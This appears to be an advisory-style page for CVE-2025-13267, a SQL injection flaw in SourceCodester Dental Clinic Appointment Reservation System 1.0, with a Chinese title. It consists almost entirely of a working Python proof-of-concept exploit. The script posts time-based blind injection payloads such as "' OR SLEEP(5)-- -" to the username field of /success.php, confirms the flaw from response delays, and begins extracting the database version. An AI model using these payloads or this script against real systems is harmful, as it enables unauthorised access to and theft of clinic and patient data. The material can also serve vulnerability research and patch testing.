CVE-2025-13267: SourceCodester牙科诊所预约系统SQL注入漏洞

# CVE-2025-13267 SQL Injection PoC # Target: SourceCodester Dental Clinic Appointment Reservation System 1.0 # File: /success.php # Parameter: username / password import requests import time import sys target_url = "http://target.com/success.php" def test_sql_injection_time_based(): """Test for time-based SQL injection vulnerability""" # Basic payload to test for SQL injection # This payload causes a 5-second delay if vulnerable payload = "' OR SLEEP(5)-- -" data = { 'username': payload, 'password': 'test' } print(f"[*] Testing SQL injection on {target_url}") print(f"[*] Payload: {payload}") start_time = time.time() response = requests.post(target_url, data=data, timeout=30) elapsed_time = time.time() - start_time print(f"[*] Response time: {elapsed_time:.2f} seconds") if elapsed_time >= 5: print("[+] Time-based SQL injection confirmed!") return True else: print("[-] No SQL injection detected") return False def extract_db_version(): """Extract database version using time-based blind SQL injection""" # Payload to extract database version # Uses conditional time delay based on version extraction payload = "' OR IF(SUBSTRING(@@version,1,1)='5',SLEEP(3),0)-- -" data = { 'username': payload, 'password': 'test' } start_time = time.time() response = requests.post(target_url, data=data, timeout=30) elapsed_time = time.time() - start_time if elapsed_time >= 3: print("[+] Database version starts with '5' (MySQL 5.x)") return True return False if __name__ == "__main__": test_sql_injection_time_based()